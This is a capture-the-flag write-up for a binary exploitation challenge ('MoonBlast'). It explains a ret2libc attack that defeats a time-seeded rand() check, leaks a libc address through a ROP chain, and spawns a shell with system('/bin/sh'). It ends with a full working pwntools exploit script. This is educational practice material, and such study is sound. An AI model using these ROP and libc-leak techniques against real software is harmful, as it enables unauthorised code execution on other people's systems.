# ret2libc
Write up for [HKUST firebird - MoonBlast](https://github.com/BraveCattle/ctf/tree/main/firebird/moonblast)
# Analysis

NX is enabled, thus exploit by executing shell on stack is not feasible. But return into libc is still exploitable.
## vulnerability
There is a buffer overflow vulnerability in the function ```command()```

To exploit the buffer overflow vulnerability, we can utilize ROP to obtain shell.
## problem overview
```main()``` function

The problem can be divided into 2 parts:
1. pass the ```rand()``` check with ```srand(time(0))```
2. exploit ```command()``` with ROP
# Solution
## part 1

The first part of the problem is a ```rand()``` check. The easiest way to pass the check locally is to use scripts to generate the random number and pass it to the binary.
rand.c:
```c
#include <time.h>
#include <stdio.h>
int main(){
srand(time(0));
printf("%d\n", rand());
return 0;
}
```
Compile rand.c to executable and the below script passes the ckeck locally (since same libc used):
```python
os.system('./rand > rand.txt')
rand_int = 0
with open("rand.txt") as f:
for num in f:
rand_int = eval(num.strip())
r = process("./MoonBlast")
# r = remote("ash-chal.firebird.sh", 36031)
elf = ELF("./MoonBlast")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # local libc
recv = r.recvline()
recv = r.recvuntil(b'Please enter the passcode: ')
r.sendline(bytes(str(rand_int), encoding='utf8'))
```
## part 2
To obtain shell and leak the flag, we need to:
1. leak the address of libc_base in order to find the corresponding libc version, and find the offset of libc functions
2. get the libc version by leaked function addresses, e.g., ```puts@plt```
3. calculate the address of shell and '/bin/sh', construct payload containing shell address and address of '/bin/sh'
### Leak the address of libc_base
We can construct ROP to leak the address of the libc functions that have been called, e.g., ```getchar()``` or ```puts()```.
Here we construct the first ROP that leaks the libc. After libc functions are called, the address of the function will be written in its ```got```, therefore we can put ```got``` as function argument (stored in register ```rdi``` in 64-bit ELF), and then call ```puts``` to print out the address.
First genereate a padding string to check the offset of the ```rbp```
```cyclic 200```

Put the padding string to input buffer to get the buffer offset.

The current stack is overflowed, its status is shown below:

The offset of the return address of last frame can be calculated by ```cyclic -l eaab```, which returns the number of characters before the queried string.

Thus the offset of return address of last frame would be $116+4=120$. Then we can construct the payload as follows:
```python
b'a'*120+flat(pop_rdi_addr_ret, elf.got['puts'], elf.plt['puts'], elf.sym['command'])
```
The ```pop_rdi_addr_ret``` is the address of instruction ```pop rdi; ret``` in the ELF. This could be obtained by ```ROPgadget --binary MoonBlast --only "pop|ret" | grep "rdi"```.
```elf.plt['puts']``` and ```elf.sym['command']``` stores ```puts@plt``` and address of ```command()``` respectively. These could also be found in the disassembled code. (```objdump -S MoonBlast```)


After sending the payload to the ELF, the stack status would be:

```
00000000004008c4 <command>:
4008c4: 55 push %rbp
4008c5: 48 89 e5 mov %rsp,%rbp
4008c8: 48 83 ec 70 sub $0x70,%rsp
4008cc: 48 8d 3d 65 01 00 00 lea 0x165(%rip),%rdi # 400a38 <_IO_stdin_used+0x8>
4008d3: e8 e8 fd ff ff call 4006c0 <puts@plt>
4008d8: 48 8d 3d 7d 01 00 00 lea 0x17d(%rip),%rdi # 400a5c <_IO_stdin_used+0x2c>
4008df: b8 00 00 00 00 mov $0x0,%eax
4008e4: e8 e7 fd ff ff call 4006d0 <printf@plt>
4008e9: 48 8d 45 90 lea -0x70(%rbp),%rax
4008ed: ba 00 01 00 00 mov $0x100,%edx
4008f2: 48 89 c6 mov %rax,%rsi
4008f5: bf 00 00 00 00 mov $0x0,%edi
4008fa: e8 e1 fd ff ff call 4006e0 <read@plt>
4008ff: 48 8d 3d 72 01 00 00 lea 0x172(%rip),%rdi # 400a78 <_IO_stdin_used+0x48>
400906: e8 b5 fd ff ff call 4006c0 <puts@plt>
40090b: 90 nop
40090c: c9 leave
40090d: c3 ret
```
When function ```command()``` ends, ```leave``` and ```ret``` would be executed. This is the epilogue of a function call, which is equivalent to
```
mov rsp, rbp
pop rbp
pop rip
```
The status of executing the ROP payload would be:

Then we successfully printed out the address of one libc function, and hereby we can calculate the ```libc_base``` address.
```python
r.recvuntil("Command received!\n")
recv = r.recvline()
print(f"recevied: [{recv}]")
libc_base = u64(recv[:-1].ljust(8, b'\x00')) - libc.symbols['puts']
print("libc_base: ", hex(libc_base))
```
### get the libc version
[libc database search](https://libc.blukat.me/)
By performing the forementioned method on the remote server, the address of libc functions are leaked. Here only the last 3 bytes are useful, as the offset in the memory pages does not change.

One can either copy the needed offset (```str_bin_sh``` and ```system```) to use, or download the libc file and use pwntools to get the offset by ```libc = ELF("libc6.so")```.
Since there might be multiple versions that match the function addresses, we need to try each of them to find the correct one.
### calculate the address of shell and '/bin/sh'
Pwntools has provided built-in functions for searching the offset of libc functions/symbols.
```python
sys_addr = libc_base+libc.symbols['system']
sh_addr = libc_base+next(libc.search(b'/bin/sh'))
```
Similarly, we need to store the address of ```/bin/sh``` to ```rdi```, and put the address of ```system``` to ```rip``` to make the ELF execute ```system('/bin/sh')```. One valid payload could be:
```python
payload = b'a'*120+flat(pop_rdi_addr_ret, sh_addr, ret_addr, sys_addr)
```
The stack process is similar to the illustration above. Send the payload and obtain the shell:

## source code
```python
from pwn import *
import os
context.log_level='debug'
# context.terminal=['tmux','splitw','-h']
context.arch='amd64'
os.system('./rand > rand.txt')
rand_int = 0
with open("rand.txt") as f:
for num in f:
rand_int = eval(num.strip())
r = process("./MoonBlast") # to test locally
# r = remote("ash-chal.firebird.sh", 36031) # to crack remotely
elf = ELF("./MoonBlast")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") # local libc
# libc = ELF("libc.so.6") # remote libc (libc6_2.27-3ubuntu1.5_amd64.so)
recv = r.recvline()
recv = r.recvuntil(b'Please enter the passcode: ')
r.sendline(bytes(str(rand_int), encoding='utf8'))
pop_rdi_addr_ret = 0x400a13 # ROPgadget --binary MoonBlast --only "pop|ret" | grep "rdi"
# 0x0000000000400a13 : pop rdi ; ret
payload = b'a'*120
payload += flat(pop_rdi_addr_ret, elf.got['puts'], elf.plt['puts'], elf.sym['command'])
recv = r.recvuntil(b'Please enter your command: ')
r.sendline(payload)
r.recvuntil("Command received!\n")
recv = r.recvline()
print(f"recevied: [{recv}]")
libc_base = u64(recv[:-1].ljust(8, b'\x00')) - libc.symbols['puts']
print("libc_base: ", hex(libc_base))
sys_addr = libc_base+libc.symbols['system']
sh_addr = libc_base+next(libc.search(b'/bin/sh'))
ret_addr = 0x4006ae # ROPgadget --binary MoonBlast --only "ret"
# 0x00000000004006ae : ret
recv = r.recvuntil(b'Please enter your command: ')
payload = b'a'*120+flat(pop_rdi_addr_ret, sh_addr, ret_addr, sys_addr)
r.sendline(payload)
r.interactive()
```
# Conclusion
A template ROP pwn problem. ~~However due to docker VM source, the solution provided by author not always pass the ```rand()``` check~~